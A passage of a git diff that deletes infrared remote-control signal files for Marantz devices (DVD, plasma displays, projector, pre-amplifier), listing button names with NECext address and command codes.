00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: S.MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: VIDEO_ADJUST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CA 00 00 00 -# -name: CONDITION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CC 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EE 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: VIDEO_ON/OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir deleted file mode 100644 index 078d7fa60..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: A-B_RPT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: LAST_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: SUBTITLE_ON_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir deleted file mode 100644 index 6a159405d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir deleted file mode 100644 index ad97aeb8a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir deleted file mode 100644 index a8fc33ad4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: AUTO_ADJUST -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 46 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 47 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 48 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 49 00 00 00 -# -name: BRIGHTNESS+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4A 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4C 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4D 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4E 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 55 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 56 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 57 00 00 00 -# -name: RGB/PC -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir deleted file mode 100644 index 22c47f259..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD/HD -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: CHANGE_SCRN_SIZE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B1 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B2 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C0 00 00 00 -# -name: RGB/PC1 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C1 00 00 00 -# -name: RGB/PC2 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C2 00 00 00 -# -name: RGB/PC3 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C3 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C4 00 00 00 -# -name: POINTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C9 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CA 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CB 00 00 00 -# -name: MULTISCREEN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CC 00 00 00 -# -name: DVD/HD2 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: DC 00 00 00 -# -name: DVD/HD1 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir deleted file mode 100644 index 10eeaa561..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir deleted file mode 100644 index 303022bb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: S_VIDEO_INPUT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: OF-T -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: OFF_TIME -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: AUTO_ADJUST -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 46 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 47 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 48 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 49 00 00 00 -# -name: BRIGHTNESS+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4A 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4A 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4C 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4D 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4E 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 55 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 55 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 56 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 56 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 57 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 57 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 -# -name: RGB/PC -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 -# -name: INPUT:_PC -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir deleted file mode 100644 index d46e719f5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD_INPUT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: DVD/HD -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: HD_3 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 40 00 00 00 -# -name: PIC_MEMORY -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 41 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 42 00 00 00 -# -name: BRIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 43 00 00 00 -# -name: PIC_MODE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 44 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 45 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CHANGE_SCRN_SIZE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CHNG_SCRN_SIZE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: MODE:_WIDE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B0 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B1 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B2 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: CURSON_RIGHT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B4 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B5 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C0 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C0 00 00 00 -# -name: RGB/PC1 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C1 00 00 00 -# -name: RGB/PC2 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C2 00 00 00 -# -name: RGB/PC3 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C3 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C4 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C4 00 00 00 -# -name: POINTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C9 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CA 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CB 00 00 00 -# -name: MULTISCREEN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CC 00 00 00 -# -name: MULTI_SCREEN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CC 00 00 00 -# -name: MULTI_SCRN_SEL. -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CD 00 00 00 -# -name: DVD/HD2 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: DC 00 00 00 -# -name: HD_2 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: DC 00 00 00 -# -name: DVD/HD1 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: EB 00 00 00 -# -name: HD_1 -type: parsed -protocol: NECext -address: 18 18 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir deleted file mode 100644 index 38ca22d0b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 08 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 F7 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir deleted file mode 100644 index 1a7503218..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: RECAL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: INPUT:_RGB_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 21 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 22 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 -# -name: INPUT:_RGB_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: A1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir deleted file mode 100644 index fdd528efa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX1_AMS_./.. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir deleted file mode 100644 index c7eeffe36..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 70 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir deleted file mode 100644 index 3bc020ba6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir deleted file mode 100644 index 3ac19c7ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DAT/TAPE2_<_> -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 2F 00 00 00 -# -name: DAT/TAPE2_PAUSE_ -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 30 00 00 00 -# -name: DAT/TAPE2_REC -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir deleted file mode 100644 index b7ecbd5f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF/STANDBY2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: V-MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: POWER_ON_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: PIC_MODE_-FREEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: SMOOTH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 61 00 00 00 -# -name: PICTURE_SHIFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 69 00 00 00 -# -name: ASPECT_-ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: ZOOM_(ASPECT) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 -# -name: CENEMA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 -# -name: BACK_LIGHT -type: parsed -protocol: NECext -address: 00 00 00 